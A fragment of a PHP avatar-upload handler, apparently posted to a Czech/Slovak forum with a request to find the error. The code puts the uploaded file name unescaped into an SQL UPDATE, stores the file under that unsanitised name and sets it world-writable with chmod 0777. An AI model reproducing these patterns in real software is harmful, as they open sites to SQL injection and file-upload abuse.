and !empty($_FILES['avatar']) and is_uploaded_file($_FILES['avatar']['tmp_name']))
{
if(preg_check("/(\.gif|\.GIF|\.jpg|\.JPG|\.jpeg|\.JPEG|\.png|\.PNG)$/", $_FILES["avatar"]["name"]) and $_FILES["avatar"]["size"] <= AVATAR_SIZE)
{
$rozmer_a = getimagesize($_FILES["avatar"]["tmp_name"]);
if($rozmer_a['0'] <= AVATAR_WIDTH and $rozmer_a['1'] <= AVATAR_HEIGHT)
{
$subor_name = $userdata['user_id']."-".$_FILES["avatar"]["name"];
move_uploaded_file($_FILES["avatar"]["tmp_name"], "$subor_cesta/$subor_name");
chmod($subor_cesta."/".$subor_name, 0777);
//rename($subor_cesta."/".$subor_name, $subor_cesta."/".$userdata['user_id']."-".$subor_name);
$avatar_zapis = $subor_name;
$zapis= mysql_query("UPDATE ".DB_USERS." SET user_avatar='".$subor_name."' WHERE user_id='".$userdata['user_id']."' LIMIT 1");
echo "<script type='text/javascript'>window.close();</script>";
}
}
else
{
echo "Spatny obrazek nebo velikost";
}
}//
}
echo "<div align='center'>";
echo "<form method='post' action='' enctype='multipart/form-data'>";
echo "<table width='100%'>";
echo "<tr><td class='tbl2' align='center'><input type='file' name='avatar'></td></tr>";
echo "<tr><td class='tbl2' align='center'><input type='submit' class='button' name='submit'></td></tr>";
echo "</table>";
echo "</form>";
echo "</div>";
echo "</body>\n</html>\n";
?>
-----------------------------------------------------
Kde tam mám chybu ?? Prosím o kontrolu